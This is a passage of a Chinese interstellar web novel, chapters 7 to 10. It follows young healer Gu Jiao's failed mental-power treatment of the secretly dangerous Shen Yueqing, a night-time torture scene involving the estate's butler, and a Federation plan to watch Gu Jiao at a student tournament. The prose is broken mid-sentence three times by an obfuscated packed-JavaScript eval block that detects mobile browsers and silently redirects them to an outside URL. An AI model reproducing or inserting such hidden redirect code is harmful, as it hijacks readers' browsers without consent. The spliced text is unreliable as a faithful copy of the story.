“哦……”顾骄犹豫着重新拿起叉子,然后小心翼翼发出邀请,“要不,我们一起吃吧?” 他把最精致的奶油蛋糕一点点推到沈月卿面前,小声说:“这个,很好吃的。” 蜜色蛋糕上挂满松软奶油,以清透的果酱点缀,顶端还放着一颗饱满的樱桃,光是靠近就能闻到甜香。沈月卿垂眸看了一眼,注意到顾骄暗自期待的目光,看过去时他又赶忙移开视线。 沈月卿从来没吃过这样精致的食物。 在与异生物对抗的近百年漫长时间,暗域里的人没有余力生产食物,原本繁荣的娱乐和服务产业迅速凋败,在那样的环境下,没人要求食物得有多好吃,他们首先要考虑的是如何填饱肚子活下去。 正常的食物越来越少,为了生存,先祖们想尽办法,最后将勉强可食用的异化生物塞进了胃里。日日如此,年年如此,他们的身体最终产生了变化。沈月卿从小吃这些长大,对苦涩腥腻的口感习以为常,却没想到某天会有人推给他一份香香软软的奶油蛋糕。 沈月卿垂眸尝了一口,很奇怪的味道,奶油的口感绵密柔滑,从未尝试过的甜腻口感在舌尖绽开,带来陌生又新奇的感觉。 顾骄的眼神亮了下,眼尾扬起一个微小的弧度,“您喜欢吗?” 沈月卿咽下蛋糕,在他期待的目光中点点头:“还不错。” * 一切准备妥当后,终于要开始进行正式的精神力疏导了。 虽然认真准备了很久,顾骄还是会紧张。这种紧张不在于能力强弱,只是一想到有人将生死安危牵系在自己身上,他就感觉肩上沉重得好像压了座大山。 无关年龄与身份,生命是很脆弱的东西。 见顾骄额头上冒出细密汗珠,沈月卿说:“没准备好的话,我们可以再等等。” “不,不用。”顾骄深吸一口气闭上眼,再睁眼时目光变得坚定起来,“我准备好了,现在开始吧。” 精神力是人身上最复杂不可捉摸的部分,就像灼热的阳光,无法捕捉,却能散发巨大的能量。而当人对自身精神力的操控达到某种程度时,精神力就能外化显形,变得更加强大。 强大也意味着失控和危险,过度使用精神力会加重暴乱的可能,处理不好则反受其害。精神图景是一个人精神力状况最直观的展现,要顺利进行疏导,进入对方的精神图景是第一步。 顾骄的精神力犹如水,不是深海巨洋掀起的惊涛骇浪,而是仲夏山间潺潺而过的溪流,内敛而柔和,充满磅礴的生命力。 他对精神力理解有限,做不到外化显形,他放出的精神力就像一只新生的透明小水母,轻轻张开伞盖,慢慢地、目的明确地浮向目标,一条纤细的触须悠悠抬起,试图叩开面前这扇紧闭的大门。 呲—— 像触碰到烧红滚烫的锅炉,水母敏感的触须飞快收了回去,疼痛让它忍不住发出细小的尖叫。 汗水沿着顾骄清瘦的轮廓滚落,疏导难度比他想象中大很多,沈月卿的精神力和他本人完全不同,充满了暴戾的攻击性,哪怕只是轻微触碰都会带来强烈的刺激。 这样下去不行。 顾骄睁眼看向沈月卿:“沈先生,请您放松身心,接纳我的精神力进入图景。”如果有病患的全力配合,疏导的难度会降低许多。 “嗯。”沈月卿颔首,目光在他微红的脸侧一扫而过,唇角微勾,“我会好好配合你的。” 顾骄放下心来,闭上眼睛再次沉入。 水母发现面前的大门似乎不再滚烫,并且缓缓打开了一条门缝,它顿时士气大振,将刚才的疼痛抛掷脑后,好几条触须一起伸出去,努力向里延申,薄薄的伞盖也翕动着向前,试图从缝隙里钻进去。 整个身体被缝隙吞噬后,周围的温度忽然开始升高,就像有人隔着门放了一把火,烫得水母缩起身体,连忙挤向缝隙的另一端,可缝隙就这样在它眼前关闭了。 面前就像放着奶酪的陷阱,当它靠近时,迎接它的不是美味,而是捕兽人早有预谋的微笑。 水母被挤成薄薄一片,高温带走能量,它的身体在不断缩水,它不知所措地徒劳挣扎,怎么也无法逃离即将被完全吃掉的命运。 顾骄紧皱眉头,类似反噬的现象让他能切身体会到那种灼烧般的滚烫,现在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299593|140228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面对的情况比疗愈课上学过的任何情况都要复杂,他一时间没法解决,只能努力维系着自己的精神力不被完全吞没。 他不知道,沈月卿看自己的眼神早已不复方才的柔和,眼底深处翻涌着深不见底的暗色。 沈月卿站了起来,两人原本就很近的距离变得更加暧昧,他伸出手,轻轻拨弄顾骄脸侧的发丝。银白发丝被汗水洇湿,修长指尖将它们拨到一旁,露出耳后白皙漂亮的脖子,上面还存留着尚未愈合的咬痕。 嶙峋的疤痕在绸面似的皮肤上相当显眼,疤痕一旦脱落,就会露出下面粉红的嫩肉,脆弱到只需要用齿尖轻蹭,鲜甜热液就会源源不断地涌进口中。 沈月卿久违地有了心跳加速的感觉,体温上升,喉结滚动,刻意忽视的欲.望在此刻加倍翻涌上来。 摆在眼前的是一份味道新奇的奶油蛋糕,只尝一口,便让他念念不忘到现在。 “唔……” 难受的低吟让沈月卿暂时抽离,专注的目光从颈间咬痕缓缓转移到少年精致潮红的面庞。 精神力即将被吞噬,顾骄感到一阵空乏,脑海深处传来疲惫的刺痛,他尝试着收回精神力,但总是不见成效。 透明的小水母身体越来越小,就在即将完全被吞噬时—— 噗! 它被吐了出来。 庞大的压力骤然消失,精神力终于收回,顾骄揉着脑袋睁开眼,发现沈月卿已经不在对面了。 “还好吗?”手边递过来一杯水。 顾骄接过来喝了一口,这么一小会儿的时间,他浑身都已经被汗水浸湿了,喉咙更是干渴得冒烟。 他咕咚咕咚灌下去大半杯水,喝完低下头,不敢面对沈月卿的目光:“沈先生,对不起,我好像失败了。” 很奇怪,他明明全程按照课上学过的标准流程进行疏导,只要患者配合,没道理进不去图景,可他竟差点被对方的精神力吞噬。 顾骄很失落,他怀疑是因为自己能力太弱,所以才没办法帮到沈月卿。毕竟他连对方的精神图景都进不去,还谈什么精神疏导? 他是个失败的学生,失败的疏导者,失败的佣兵。 想到沈月卿给自己的奖金和五星好评,他更愧疚了,从头到尾把自己狠狠唾弃一通,丝毫没有考虑过会不会是沈月卿故意的。 “不是你的问题。”沈月卿说,“或许是因为我们接触太少,对彼此的精神力还不熟悉,所以会有排斥反应。” “以后你常来见我,我们多些相处时间,总会成功的,对吗?” 闻言,顾骄愣愣抬头,“沈先生,您还愿意给我机会吗?” 他刚才甚至在想要不咬牙把佣金还回去算了,他实在没脸接受。 沈月卿不答反问:“那你呢,你还愿意帮我吗?” 顾骄:“当然,我愿意!” 沈先生这么好的人,就算没有佣金,他也愿意帮! 沈月卿闻言便笑了,伸手为顾骄擦去眉角的细汗,轻声说:“那真是太好了。” 8. 第 8 章 夜幕降临,墨蓝色的天空上点缀着几颗星星,月光暗淡,丛林中不时传来细碎声响,仿佛林间小兽的窃窃私语。 这是顾骄第二次在落日谷庄园过夜。 与繁华喧嚣的星辉区不同,这里的夜晚静谧而寒凉,就连星星都比别的地方更亮。 顾骄坐在阳台上静静望天,身边一个人都没有,这座庄园就像是独自飘浮在海面的孤岛,无言的潮汐来来去去,从未有人留下脚印。 一个人住在这里,沈先生会感到寂寞么? 顾骄漫无目的地神游,但想来想去脑海里都是沈月卿那张无暇的脸。他第一次遇见这么完美的人,温柔、成熟、真诚、美丽,仿佛世上所有的美好词汇都与之相关。 如果没有精神力暴乱,他的生活一定会很幸福吧。 不知想起什么,顾骄的眼神逐渐暗淡下来,来到联邦学院后他拼命地努力学习,希望自己在疗愈方面能有所成就,可现在看来,他似乎并没有长进多少。 照这样下去,还要多久才能回到母星呢…… 越想越失落,顾骄叹了口气不愿再想,回到房间准备睡觉。 白天精神力消耗太大,此时所有的疲惫翻涌上来,他很快就睡着了。迷迷糊糊间,他听到不知从何处传来的哀嚎,蕴含着巨大的恐惧。 “救……救命……救我……” 困意上头,顾骄翻了个身又睡了,过了一会儿,他蓦地睁开眼坐起身,后知后觉反应过来。 刚才好像听到有人在喊救命? 凝神静听,房间里没有窗户,什么声音也听不见,顾骄怀疑是自己在做梦,可因为之前两次遇见异生物的经历,他很担心沈月卿的安全,决定出去看看。 “吱呀——” 房门推开,门里的灯光只能照亮方寸之地,走廊黑洞洞一片,如同蛇类大张的血口,黑暗一眼望不见尽头。 顾骄看着黑暗犹豫了一会儿,转身拿出了自己的小手电,手电光颤巍巍地亮起来,光线时明时暗,他裹紧衣服,鼓起勇气走了出去。 “沈先生,您在吗?” 声音回荡在空无一人的走廊,莫名有些瘆人。顾骄紧紧握着手电,目光直直盯着前方,生怕下一秒手电光会照出一张惨白的脸。 他越走越快,步子越来越急促,最后直接跑了起来,好像身后有什么东西在穷追,一直跑到沈月卿房间门口才停下来:“沈、沈先生……您睡了吗?” 问完才发现,房门是虚掩着的,房间内空空荡荡,完全没有沈月卿的影子。 深更半夜的,沈先生去哪了? 顾骄的心一下子提起来,对方不会真的出了什么意外吧? 对沈月卿的担忧冲淡了独自一人的恐惧,他转身大步向外走去,一边走一边呼唤沈月卿,可始终没有得到回应,沈月卿就好像从庄园凭空消失了一般。 来到花园,他忽然捕捉到某个角落微弱的喘息声,脚步定住,他迟疑地朝发出声音的方向走去:“沈先生,是您吗?” “我可以过来吗?” 没人回答,但没在阴影中的花丛动了动,夜风轻抚,顾骄闻到一股腥甜的气味。 有人受伤了! 顾骄神色凝重,一步步走到花丛边,就在他伸手想要拨开枝叶看看清楚里面的东西时—— “你在做什么?” 顾骄吓了一跳,发现沈月卿就站在自己身后,抱着手臂饶有兴趣地看着自己。 “沈先生,您怎么会在这里?” 沈月卿的神色看不出任何异常:“睡不着出来走走,听见你在叫我。” “我、我听见奇怪的声音,担心您的安全,所以出来看看……”顾骄说,“沈先生,您没事真是太好了!我还以为……” 提着的心总算能放下,顾骄长舒一口气,可随即又觉得奇怪,沈先生既然没事,那他听到的声音是从哪里来的? 他再次看向发出异响的花丛,鲜红花瓣在夜色中格外显眼,枝叶张牙舞爪地伸展着,不知道是不是光线太暗产生的错觉,那一片的土壤似乎比别的地方颜色更深,就像……刚被某种液体浸透。 再加上鼻间萦绕不去的腥气,实在不能不让人产生不妙的联想。 “怎么了?”沈月卿在身后问。 顾骄面对花丛,将他挡在身后,是一个保护的姿态。 “里面有东西,我……去看看。” 其实顾骄心里也挺怂,但作为一名合格的佣兵,哪怕只是兼职,他也应该承担起属于自己的责任,认真保护雇主的安全。 他正要上前,就被沈月卿拉了回去。 “不必紧张,里面没有异生物。”沈月卿语气从容不迫,像在安抚一只炸毛的小狗,“出来吧。” 话音刚落,花圃深处站起来一个人,对两人欠了欠身:“晚上好,二位。” 他身形高大结实,臂膀肌肉虬结,皮肤黝黑,鼻梁上有道横贯而过的刀疤,沉默地往黑暗里一站,整个人散发着人形兵器般的肃杀气息。 “这是庄园里的管家,符辛。”沈月卿介绍。 “管家……” 顾骄一时间没法将眼前这人和管家两个字联系在一起,他更像一个刀尖上舔血的雇佣兵,而且还是兵团团长那种。 沈月卿:“告诉他,你在做什么。” “我在为这些血色曼陀罗花浇水,先生。”符辛抬手,手里拎着一只水壶,“它们只在夜晚盛开。” 他这么一说顾骄也想起来,白天经过这里的时候并没有见过这些花,但他仍有顾虑:“你们没闻到奇怪的味道吗?就在附近。” 符辛笑了笑,这笑容本该是友善的,但放在他的脸上显得有些僵硬,他解释说:“顾先生,我想您指的应该是血色曼陀罗的味道吧?它的花香近似于鲜血的气味,难怪您会产生误解。” 是这样吗? 顾骄仔细闻了闻,气味好像确实是花朵散发出来的,既然管家在这里浇花,如果附近有异生物出现,对方应该早就发现了才对,或许真的是自己太敏感了。 “抱歉……”他不好意思地扯了扯帽檐,“打扰到你们了。” 夜风吹动他的头发,小手电忽明忽亮的光在他的眼眸中闪烁,沈月卿看着他,不自觉伸出的手从他的额头转移到肩膀,最后轻轻拍了拍,温声说:“外面很凉,我送你回去吧。” 顾骄点点头,两人走到一半,沈月卿忽然停住脚步,状似随意地回头对符辛交待:“很晚了,你也早点休息。” 符辛沉声应是,目送两人离去,直到他们的身影完全消失在拐角处。 确定他们已经走远,他脸上僵硬的微笑褪去,眼中闪过一丝尖锐的寒芒。他面无表情低下头,脚下踩着一具血肉模糊的身体,嘴里塞满了荆棘遍布的花枝,白眼上翻,正在止不住地无声抽搐。 鲜血蔓延,将整片土壤染成暗色,符辛在他身上蹭干净鞋底染血的污秽,然后单手提起那人的后领。 “首领还没尽兴,你先别走。” 黑夜中响起持续不断的重物拖曳声,斑驳的血迹一直蔓延到隐秘的地牢入口。 “哗啦——” 铁门上锁的声音。 一整晚顾骄都在做梦,一会儿梦见沈先生被长着六对腹眼的异生物抓走,一会儿梦见花圃里的血色曼陀罗变成了一颗颗张大嘴巴呼救的人头,把他吓得整夜都没睡好。 第二天迷迷糊糊醒来时,顾骄惊讶地发现庄园里多了许多从未见过的面孔,他们穿着整齐统一的服装,在庄园的各个角落清扫忙活,见到他都会礼貌打招呼,客气地称呼他为“顾先生”。 花圃里的花已经不见了,整座庄园焕然一新,干净整洁得像是水洗过一样,顾骄看了眼时间,早上七点半,他们不会凌晨就开始打扫了吧? 他暗自咋舌,在心里默默把“家政”这个任务类型划掉。除非佣金真的很丰厚,不然绝对不能接! 吃完丰盛的早餐后,沈月卿亲自将顾骄送回去,不同的是,这一次不是送他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299594|140228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回学校,而是回家。 越靠近市郊,肉眼可见的景色就越荒凉,高级飞行器驶过的痕迹引起许多人的注意,原因无他,这种规格的交通工具在这个地带实在太罕见了,即便看不出具体型号,也能猜到其不菲的价值。 “到了,就是这里。” 顾骄从飞行器上下来,手里提着个小盒子,里面装着打包好的各色小甜品。看着自己家徒四壁的原始小屋,他难为情地摸摸鼻子:“那个……沈先生,进来喝杯茶吗?” 沈月卿:“下次吧。” 顾骄呼了口气,心里说不清是失落还是庆幸,抿唇向沈月卿道别:“那……那我回家了。” 刚转过身,沈月卿忽然叫住他:“等等。” 顾骄回头,见沈月卿俯身出来,走到自己面前伸出手,掌心向上:“手给我。” 顾骄不明所以,手刚伸出去就被握住,接着感觉手腕一紧,有什么东西扣了上去。 沈月卿:“低头。” 顾骄下意识低头看去,手腕上一只微型光脑正闪烁着光芒,扫描到他的虹膜,发出“滴”的一声。 【身份信息已录入,光脑激活成功】 顾骄就这么举着手,懵懵地看向沈月卿,“沈先生,这是?” 沈月卿笑着说:“送你的,喜欢吗?” 顾骄惊呆了,虽然他没买过光脑,但他在学院见同学戴过,听说哪怕是最基础的款式都要三万多星币,而现在自己手上这只一看就不是什么基础款,价格最少十万起步。 十万……那可是十万啊,把他卖了都不值这个钱! “不、不行,我不能收……”无功不受禄,顾骄立刻就想把光脑摘下来。 沈月卿忽然伸手按住他,力道不重,却牢牢制住让他没法动弹,他的语气还是那么柔和,但好像比平时沉了一些:“不喜欢?” “不是,我很喜欢,可是——” “那就收下吧。” 顾骄急得眉头不自觉皱起,唇瓣抿得很紧:“不行,沈先生,这个太贵重了,我不能收。” 他抬眼看着沈月卿,眼神里带着央求,急着将光脑还回去,没想到沈月卿沉默两秒,静静垂下眸子:“我以为,我们已经是朋友了。” 顾骄的双手仍然被控制着,但看着对方似乎有些受伤的神色,他不知怎么就没了挣扎的想法,愣愣地张了张嘴:“不、我不是那个意思,我们当然是朋友。” 说出这句话时,隐秘的欣喜在心头化开。从现在起他和沈月卿不再是简单的雇佣关系,而是能说得上话的朋友,顾骄潜意识里为这个事实感到开心。 沈月卿还是没有放开他,看过来的眼神带着淡淡的愁绪,像是回旋着深蓝色泡沫的暗潮,一下就把顾骄卷了进去。 “既然是朋友了,就收下这份礼物。” “可是,它太贵重了……”顾骄这么个每天做饭煮几粒米都要精打细算的穷鬼,骤然得到价值十万星币的礼物,第一反应绝对不会是窃喜。 “如果你不接受,它就是一块废铁。” 沈月卿幽深的眼眸直直看着顾骄,手上慢慢卸力,让顾骄恢复自由,“所以,你还要拒绝吗?” 顾骄找不到拒绝的理由了,沈月卿的表现让他觉得,如果自己真的不接受,对方或许下一秒就会将它扔进垃圾桶。 “好、好吧……谢谢您,沈先生。” 这句话出来,沈月卿又扬起了好看的温柔笑意,他的手腕和顾骄碰了碰,顾骄的光脑随即跳出一则提示: 【联系人添加成功】 沈月卿:“以后想找我可以直接发消息。” 是因为之前联系的时候用了公用电话吗…… 顾骄没想到,只是一次而已,对方竟然对自己的事情这么上心,还特地送了他微型光脑。第一次有人这样关心自己,他心头酸酸胀胀的,眼眶还有点热。 “沈先生,谢谢您。” 沈月卿微笑着摸摸他的头,“别谢我,回家吧。” 9.第 9 章 顾骄躺在床上,盯着光脑里唯一的联系人发呆,今天发生的一切实在太不真实了,简直像是在做梦。 和沈先生做朋友……光是想想都觉得不可思议。 联系人后面有三个小点,分别是视频、通话和聊天,顾骄盯着它们来来回回看了又看,指尖不停敲着金刚厚重的龟壳,将这个上百岁的老家伙敲得嗒嗒作响,不胜其烦,腿一蹬,咕噜噜滚到了床下。 “唉……” 顾骄纠结得直叹气,刚分开就联系,自己这样会不会太烦人了?就算是朋友也会嫌麻烦的吧…… 他就像那只在井底独自呆了很多年的青蛙,井中的天空虽然只有方寸,但他偶尔抬头望一望,也能自得其乐地生活下去。可忽然有一天,一只绚丽的蝴蝶停驻在井口,磷粉晶莹地在日光下熠熠生辉,让安心蹲守在井底的青蛙有了和它一起飞翔的冲动。 沈月卿就是那只蝴蝶,独自经历过的一切,顾骄都想和他分享,可同时心里又充满对自己的质疑。 我这样的人,真的能交到朋友吗? 两种截然相反的情绪在脑海中碰撞,他从没产生过这样纠结的想法,苦恼到把吃饭这种要事都扔到一边,一头银白卷发几乎被自己挠成了鸟窝。 这时外面传来敲门声。 “骄骄,你在吗?” 是素雪的声音,顾骄暂时从烦恼中抽离,翻身下床打开门,小心把人请进来。“素雪姐姐,怎么了?” 素雪进屋坐下,盲杖靠在自己腿上,无神的双眼看不出情绪,但从语气中却能听出她的担忧。 “刚才我听见你门口有飞行器的声音,还以为出了什么意外。” 他们住的这片区域贫穷又混乱,连距离最近的公共大巴都隔了好几条街远,忽然有飞行器出现,很大概率是治安官来逮捕逃犯,所以素雪连忙过来看看。 “你没犯什么事吧?” 顾骄失笑,倒了杯温水放进素雪手中,开玩笑地说:“素雪姐姐你就放心吧,就我这条件,连偷税漏税都不够格,我能犯什么事呀。” “那飞行器是怎么回事?” “是我……朋友的。” 说到“朋友”两个字,顾骄耳朵微微红了。素雪虽然看不见他的异常,但对于此前从未出现过的“朋友”产生了疑虑:“是在联邦学院的同学吗,以前怎么没听你提起过?” “提过的。”顾骄说,“就是上次那位沈先生。” 素雪闻言皱眉,“你是说,那个住在落日谷的雇主?” 发觉自己说错话了,顾骄一秒噤声。上次素雪告诫他要远离落日谷,所以顾骄这次是瞒着她去的。刚才他忘了这茬,不小心说漏嘴,以素雪的细心程度,几乎是下一秒就猜到了事情的来龙去脉。 “你还是去了,对吗?” 顾骄垂着脑袋直挺挺地在原地,低头一下一下掐着指腹,低声说:“对不起,素雪姐姐,这件事情我不该瞒着你,我错了。” 他不后悔去落日谷庄园,他只是在为自己隐瞒事情的行为道歉。 充满诚意的乖乖道歉让素雪完全生不起气来,她沉沉叹气:“我只是很担心你,你一个刚成年的半大孩子,又是初来乍到,很多事情根本就不明危险,要是遇到污染区那些人,你会被吃得连骨头渣子都不剩的!” 顾骄点头再点头,“我知道了,姐姐,我会保护好自己的。” 他答应得爽快,素雪也不知道他到底听没听进去,无奈地说:“既然那位沈先生肯送你回来,大概不是什么穷凶极恶之辈……” “对,他特别好——”顾骄嘴比脑子快,接完话瞥见素雪的脸色,立马乖乖闭上嘴。 “……即便如此,在完全了解他之前,你也不要太信任他,要对他时刻保持最基本的戒心,你能做到吗?” “能,特别能!” 顾骄自觉理亏,现在比谁都听话,毕竟在沈月卿出现之前,素雪是唯一一个会关心他帮助他的朋友了。 素雪走后,顾骄看了看手腕上的光脑,暂时放弃了联系沈月卿的想法,倒不是因为对沈月卿产生了什么隔阂,只是他刚刚才答应素雪要和对方保持安全距离,总不能一转头就把自己说过的话忘了。 他转而研究起光脑,花了一下午时间将基本用法全都摸透,忽然意识到自己可以用光脑联系古武星。 在主星独自度过了一个多月,再加上路途上所耗费的时间,他离开母星已有三个月之久。从小在古武星长大,骤然离开她几百光年的距离,全然陌生的星球总是让他感到无所适从。 如果能和母星联系上,哪怕只是说上几句话,都能让他好过许多。 顾骄动作飞快,在数万个星域通用码里找到了属于古武星的编码,按下号码之后屏息等待许久,最后回应他的是接线员的声音。 “您好,这里是跨行星通话转接处。” “您好,请帮我转接到古武星,谢谢。” 顾骄舔了舔嘴唇,眼睛紧紧盯着光脑投影屏幕,心中满怀期待。然而接线员不久后的回答却给了他当头一棒。 “抱歉,古武星尚未加入跨行星通话网域,您的通讯无法转接,请问您还有什么需要吗?” 顾骄的目光暗淡下去,“没……没有了,谢谢。” “祝您生活愉快,再见。” 通讯挂断后的忙音在空荡荡的房间里更加明显,顾骄倒回床上,长长叹了口气,抬起手臂挡住眼睛,良久无言。 怎么就没想到这一点…… 古武星上没有星域基站,他的通讯再怎样也是打不进去的。 心里空了一大片, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13318479|140228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他在仅自己可见的黑暗中静静地发着呆,耳边忽然传来“叮”的一声。 唯一的联系人给他发来消息。 照片上,沈月卿拎着一只几乎和他等身长的大耳狗仿真玩偶,白色的茸毛异常松软,水灵灵的黑色大眼睛一眨一眨,怯生生的,两条后腿害羞地夹紧尾巴。 沈月卿:【路上看到的,喜欢吗?】 顾骄原本的小郁闷逐渐散去,他坐起来认真打字:【喜欢!】 沈月卿:【下次见面送你。】 顾骄:! 他重新点开照片,把那只玩偶又细细看了一遍,越看越觉得可爱。这么大一只毛茸茸,晚上抱在怀里睡觉一定很舒服。 四舍五入,他就不算是独自一人睡觉了。 【沈先生,谢谢您!】 沈月卿:【我说过,你不必谢我。】 沈月卿:【你的背包也找到了,到时候一起给你。】 好事一件接着一件,顾骄快没出息地被砸晕头了,心情彻底多云转晴,再度期待起了与沈月卿的下一次见面。 遇见沈先生真是自己经历过最幸运的事,他想。 * “沈月卿到底想干什么!” 武装部长愤怒地将监控文件摔到地上,“他当星辉区是什么地方?想来就来想走就走,真当我们不敢对他动手吗!” 会议室里,众人皆是面色铁青,不怪武装部长发这么大火,沈月卿接连两次进出星辉区,将他们的防御系统视若无物,根本就是没把他们放在眼里,最可恶的是他们对此没有丝毫办法。 上一次事出突然就算了,这次他们分明做好了万全准备,装备和人员调度都相当完善,自信绝对能将沈月卿拦在南大门外,结果呢? 飞行器就这么顺顺利利地进了门,在星辉区绕了一圈后又四平八稳地离开,甚至还中途停下去路边的精品店里买了个仿真玩偶,比他妈在自己家都悠闲! 众人意识到一个令人难以相信的事实:比起上一次,沈月卿的精神力强度似乎又有所提升了。 怎么办? 没人知道该怎么办,哪怕是大发雷霆的武装部长也一样。 冷静下来后,他疲惫地捏了捏眉心,“总指挥官那边有消息吗,有没有说对顾骄采取行动?” “顾骄报名参加了百校联赛,指挥官大人的意思是,在联赛期间探明顾骄的底细,弄清楚他对暗域和沈月卿的真实态度,然后再做定夺。” 百校联赛由包含主星在内的数十个行星联合举办,参赛者都是来自星球各个学校最拔尖的一批学生,还有不少以个人名义参赛的选手,再加上赛事邀请来的嘉宾都是各行星的高位者,赛场上鱼龙混杂,暗潮涌动,调查时很方便掩人耳目。 武装部长沉思:“就这么办。” 10.第 10 章 三年一度的百校联赛不仅是年轻学子们展现自己的舞台,同时还是各方势力齐聚一堂的星际盛会,联邦相当重视这次比赛,凡是报名参赛的学生都可以暂停课程,休假专注备赛。 当然,前提是得通过预选赛,否则会有很多学生为了光明正大逃课而去报名。预选赛设置在初赛之前,由各学院内部自发组织,相当于正式开赛前的一次实力测试,通过之后才能参加初赛。 对此官方的解释是简化赛事流程,顾骄则认为,大约是校方不想让个别混子学生把脸丢到外太空。 比如他自己。 这一个多月来,除了一周一次的实训课,顾骄选择的其他课程几乎都属于疗愈模块,至于如何使用精神力攻击,如何外化精神力,又或者如何利用精神力操控机甲……他一窍不通。 他尝试过找同学请教,但大家一见他就离得远远的,好像都不想和他说话的样子。 没办法,顾骄只好上星网查资料,按照教程自己摸索了好久,最后的效果……也不知道算好还是不好。 就在他磕磕绊绊地准备预选赛时,忽然收到通知,因为精神力等级出色,他直接被保送复赛了。 好消息,他不用在学院里丢脸了。 坏消息,直接上外太空去丢。 顾骄:……好愁人呐。 初赛在距离主星不远的天马空间站上举行,需要乘坐迁越飞船前往,由于船票足足需要四百多星币,所以顾骄硬着头皮尾随学院领导们悄悄摸上了公务飞船。 虽然被发现可能会有点尴尬,但……他是真的很需要这笔钱! 猛然发现顾骄跟在身后时,情报部长展昭结结实实吓出了一身冷汗。 要知道,这位目前可是联邦重点监视对象,虽然危险程度未知,但能和暗域领主搅合在一起的人绝不会是什么简单角色。他要是想动手,飞船内部是个相当合适的地方。 展昭的第一反应是立刻上报情况,可又担心打草惊蛇,反而让对方提前出手,毕竟现在他还不知道对方到底在打什么主意,又有多少底牌。 一瞬间他的脑海中闪过无数念头,最后决定暗中向武装部求援。这次出门他只带了两名A级警卫,不一定是顾骄的对手。 他维持着面上的镇定,起身向外走去,刚走到舱门附近,通讯正要发出,忽然—— “顾骄!你在这里干嘛?” 展扬大声怪叫,把所有人的目光都引了过去。 展昭心脏几乎停跳。 另一边,顾骄扒着最后一排的座椅靠背,像朵潮湿的雨后蘑菇,在众人疑惑的注视下慢慢冒出了头。 尽管耳尖红得快要滴血,但他来都来了,总不能半路下船,于是将帽檐压得低低的,努力表演惊讶:“啊,我应该是……上错飞船了。” 展扬早就将顾骄视为死对头,对他时刻抱有敌意,上次和上上次都没能出气,这次逮到机会就想报复回来。脸一挂,长嘴就要嘲讽:“我看你是——” “咚!” 他的脑袋被狠狠按到合金墙壁上,力道之大直接让他眼冒金星,还不小心咬到了舌头,嘴里一股子血味儿。 他被撞懵了好一会儿,看清出手的人是谁,大着舌头委屈地喊:“爷爷,你推我干嘛?” 展昭白花花的胡子抖了抖,撑起一个和蔼可亲的笑脸,用堪称温柔的声线对展扬说:“展扬,这不是你的同学吗?能在飞船上碰面,看来你们平时关系很不错的呀!来,好好跟人家打个招呼。” “爷、爷爷……”展扬的后颈皮都快被揪掉了,他疼得龇牙咧嘴,非常勉强地对顾骄挤出狰狞微笑,“嗨,真巧啊哈哈哈啊!” “嗯,是挺巧的。”顾骄说,他完全没想到会在这里遇到展扬,但展扬的爷爷看起来意外的慈祥,这让他稍微感到安心了一些。 殊不知此刻的展昭比他还要紧张。 发现顾骄没有异动,展昭戴好友善的面具,对他做了个“请”的动作:“小顾,蹲着累不累啊?来来来,你坐展扬的位置。” 顾骄连忙推拒:“不用了展爷爷,还是让展扬坐吧。” 展昭:“他有痔疮,久坐不得,你就放心坐吧!” 展扬:“?!” 展扬微弱的抗议被亲爷爷的无情铁手镇压了下去。 一路相安无事,双方都松了口气,顾骄沾上座位就开始犯困,很快闭上眼睛睡着了。展昭怀里揣着枪,时刻注意着他的动向,没想到顾骄真的就这么安安稳稳地睡了一路。 等他醒过来的时候,飞船已经停靠在了天马空间站的悬浮航道上,不远处就是百校联赛的会场。参赛者三五成群,大多有好友或家人陪同,相比之下孤零零的顾骄显得有些突兀。 不过对于顾骄本人来说,人多并不是好事,摸了摸头顶,确定帽子还好好地戴在头上后,他向展昭道别,避开人群独自进入会场。 他一走展扬就憋不住了:“爷爷,你刚才到底是怎么了?我干嘛要把位置让给他啊?” 展昭沉着脸,表情很严肃,“我之前交代过你,不要招惹顾骄,对你没有好处。” 展扬不满:“那您总得给我一个理由吧!难道就因为他是古武星的人?我就不信他们还能把手伸到这里来,爷爷你到底在担心什么?” “不该问的问题别问。”展昭说,“你只需要牢牢记住我的话:远离顾骄,好好完成比赛,别给我闯祸。记住了没有?” “……” “说话!” “……知道了。” 展扬嘴上答应着,眼底却闪过一丝愤懑。 顾骄到场的时候,比赛已经开始了一段时间,联邦学院的学生坐在同一区域,此时脸上的表情都有些不太好看。顾骄顺着他们的视线望去,下面正好有两人正在进行比赛。 初赛实行分组制,八人为一组,两两对决,最后胜出的一人可晋级复赛。 眼前两人都已经获胜两轮,正在进行最后的对决,其中一人穿着联邦学院的校服,但显然不敌对手,脸上挂彩相当严重,右腿有骨折迹象。 